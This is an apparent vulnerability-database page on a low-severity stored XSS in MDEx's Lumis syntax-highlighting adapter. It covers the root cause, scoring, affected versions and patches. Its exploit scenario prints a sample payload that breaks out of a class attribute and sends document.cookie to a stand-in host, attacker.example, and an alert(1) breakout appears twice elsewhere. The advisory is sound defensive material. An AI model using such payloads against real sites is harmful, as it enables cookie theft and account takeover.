Skip to main content

MDEx EUVDEUVD-2026-40174

| CVE-2026-53427 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-29 EEF
2.3
CVSS 4.0 · Vendor: EEF
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit Markdown with crafted highlight_lines_class value
  2. Delivery
    Lumis adapter shlex-parses info string, storing value verbatim
  3. Exploit
    write_highlighted interpolates unescaped value into per-line div class attribute
  4. Execution
    Victim loads page rendering the malicious Markdown
  5. Persist
    Injected script executes in victim's browser context
  6. Impact
    Session cookies or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two simultaneous non-default configuration conditions: syntax highlighting must be enabled via the Lumis adapter, AND the render option full_info_string: true must be explicitly set - neither is active by default. Beyond configuration, the attacker must have the ability to submit Markdown content to the target application (via comments, posts, documentation pages, or any user-generated content field). A victim must subsequently view the rendered output (UI:P per the CVSS 4.0 vector). The CVSS PR:N metric indicates no special privileges are required to submit the malicious Markdown on platforms permitting unauthenticated or low-privilege content submission; however, many real deployments require a registered user account to post content, which partially limits the attacker pool in practice. Exploitation is strictly bounded to MDEx versions 0.11.3-0.12.2 and mdex_native 0.1.0-0.2.2 running with the specific Lumis configuration described.

Impact

The CVSS 4.0 score of 2.3 accurately reflects the constrained real-world risk: AT:P (attack requirements present) captures the non-default rendering configuration prerequisite, and UI:P indicates passive victim interaction is needed. The impact metrics SC:L/SI:L (limited subsequent-system confidentiality and integrity) and VC:N/VI:N/VA:N (no direct impact on the vulnerable system itself) further bound the scope. Despite the low numeric score, the qualitative impact of a successful exploit - session cookie theft, account takeover, and persistent script injection across all viewers of affected content - is meaningful for applications that host user-generated Markdown. No KEV listing exists and no public proof-of-concept code has been identified, lowering urgency for most deployments. EPSS data was not provided; the combination of non-default configuration requirements and absence of public exploit code suggests a low short-term exploitation probability. The primary mitigating factor is deployment specificity: only applications that have explicitly opted into both syntax highlighting and full_info_string: true are in scope, which is expected to be a small fraction of MDEx users.

Exploit ScenarioDerived

An attacker posts a comment or wiki page on an application using MDEx with syntax highlighting and full_info_string: true enabled, embedding a code fence whose highlight_lines_class attribute contains a crafted value such as '"><script>fetch('https://attacker.example/c?'+document.cookie)</script>'. When any user loads the page, MDEx renders the code block and the injected script executes in their browser, exfiltrating session cookies to the attacker's server and enabling account takeover without any further interaction from the victim.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 29, 2026

Stored and reflected cross-site scripting in MDEx's Lumis syntax highlighting adapter allows attackers who can submit Markdown content to inject arbitrary HTML and JavaScript into rendered output viewed by other users, enabling session theft and account takeover. The flaw exists in the native Rust code shared between the mdex (0.11.3-0.12.2) and mdex_native (0.1.0-0.2.2) packages, where the highlight_lines_class code-fence attribute is interpolated into per-line HTML div class attributes without escaping. Exploitation requires a non-default rendering configuration (full_info_string: true with syntax highlighting enabled); no public exploit identified at time of analysis, and vendor-released patches are available.

RemediationAI

Upgrade mdex to version 0.12.3 or later, and upgrade mdex_native to version 0.2.3 or later; the fix is delivered via patch commit 798a363b4339f6f7162ec8437c4c9f9b5ae6fbf3 (https://github.com/leandrocp/mdex_native/commit/798a363b4339f6f7162ec8437c4c9f9b5ae6fbf3). The vendor advisory is at https://github.com/leandrocp/mdex_native/security/advisories/GHSA-v664-pmxr-mxxx. If an immediate upgrade is not feasible, the most targeted compensating control is to remove or set to false the full_info_string: true render option, which eliminates the attack path at the cost of disabling custom info-string attribute forwarding in rendered output. Alternatively, disabling the Lumis syntax highlighting adapter entirely removes the vulnerable code path, at the cost of losing per-line syntax highlighting. As a defense-in-depth measure, restricting which users can submit Markdown content reduces attacker-controlled input and limits exposure, though it does not address the underlying flaw. A strict Content-Security-Policy header that blocks inline scripts would mitigate script-injection impact but not attribute-injection entirely.

Affected VersionsENISA

mdex 0.11.3 <0.12.3
mdex_native 956528c5e31746253347029e810a969ab916fd27 <798a363b4339f6f7162ec8437c4c9f9b5ae6fbf3
mdex_native 0.1.0 <0.2.3
mdex 0d7ffc84ea742e1daf666426814e5bb6d0499433 <6ed94d905f97af188323f042698ae841c02293b4

Affected Packages

euvd mdex fix: 0.12.3
euvd mdex_native fix: 0.2.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the native Rust NIF (Native Implemented Function) code backing MDEx's Lumis syntax highlighting adapter, specifically in comrak_nif::lumis_adapter::LumisAdapter within native/comrak_nif/src/lumis_adapter.rs (original mdex package) and native/mdex_native_nif/src/lumis_adapter.rs (mdex_native package). The parse_custom_attributes function uses shlex parsing to extract key=value pairs from a Markdown code fence info string. When full_info_string: true rendering is active, the highlight_lines_class extracted value is stored verbatim, then interpolated directly into the class attribute of every per-line div element by write_highlighted without any HTML encoding. The shlex library's single-quote semantics preserve inner double-quote characters, so a crafted value such as '"><script>alert(1)</script>' escapes the class attribute context and injects live HTML into the DOM. CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this root cause: user-controlled data flows from input parsing into HTML output with no output encoding applied. Affected CPEs are cpe:2.3:a:leandrocp:mdex and cpe:2.3:a:leandrocp:mdex_native.

Know when Mdex gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (EEF) PRIMARY 2.3 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 4.7 MEDIUM

Non-default configuration (syntax highlighting plus full_info_string: true both required) maps to AC:H; XSS executes in victim browser justifying S:C with limited C:L/I:L; no availability impact.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (EEF).

CVSS VectorVendor: EEF

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in leandrocp MDEx allows stored or reflected cross-site scripting via attacker-controlled Markdown.

When syntax highlighting and full info-string forwarding (render: [full_info_string: true]) are enabled, the Lumis adapter copies the value of a code fence's highlight_lines_class info-string attribute, unescaped, into the class attribute of every rendered line. comrak_nif::lumis_adapter::LumisAdapter::parse_custom_attributes in native/comrak_nif/src/lumis_adapter.rs shlex-parses the info string and stores each key=value pair verbatim, highlight_lines_config pulls highlight_lines_class into the per-line class value, and write_highlighted interpolates that value directly into the class attribute of the per-line <div>. A single-quoted shell token preserves an inner double quote through shlex parsing, so a value such as '"><script>alert(1)</script>' terminates the class attribute early and the markup that follows is emitted as live HTML.

An attacker who can submit Markdown (through comments, posts, wiki pages, documentation, or any user-generated content) can inject arbitrary HTML and JavaScript that runs in the browser of every user who views the rendered output, enabling session theft, account takeover, and other client-side attacks. No authentication or special privileges are required.

The vulnerable native code originally shipped inside mdex (in native/comrak_nif/src/lumis_adapter.rs) and was later extracted into the separate mdex_native package (native/mdex_native_nif/src/lumis_adapter.rs), where it remains unpatched.

This issue affects mdex from 0.11.3 before 0.12.3, and mdex_native from 0.1.0 before 0.2.3.

Threat Intelligence Overview

EPSS Score
0.4%
Top 68% exploitable
Prevalence
Low
niche Elixir library, limited to Phoenix/Elixir ecosystem deployments
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

12
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +12
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy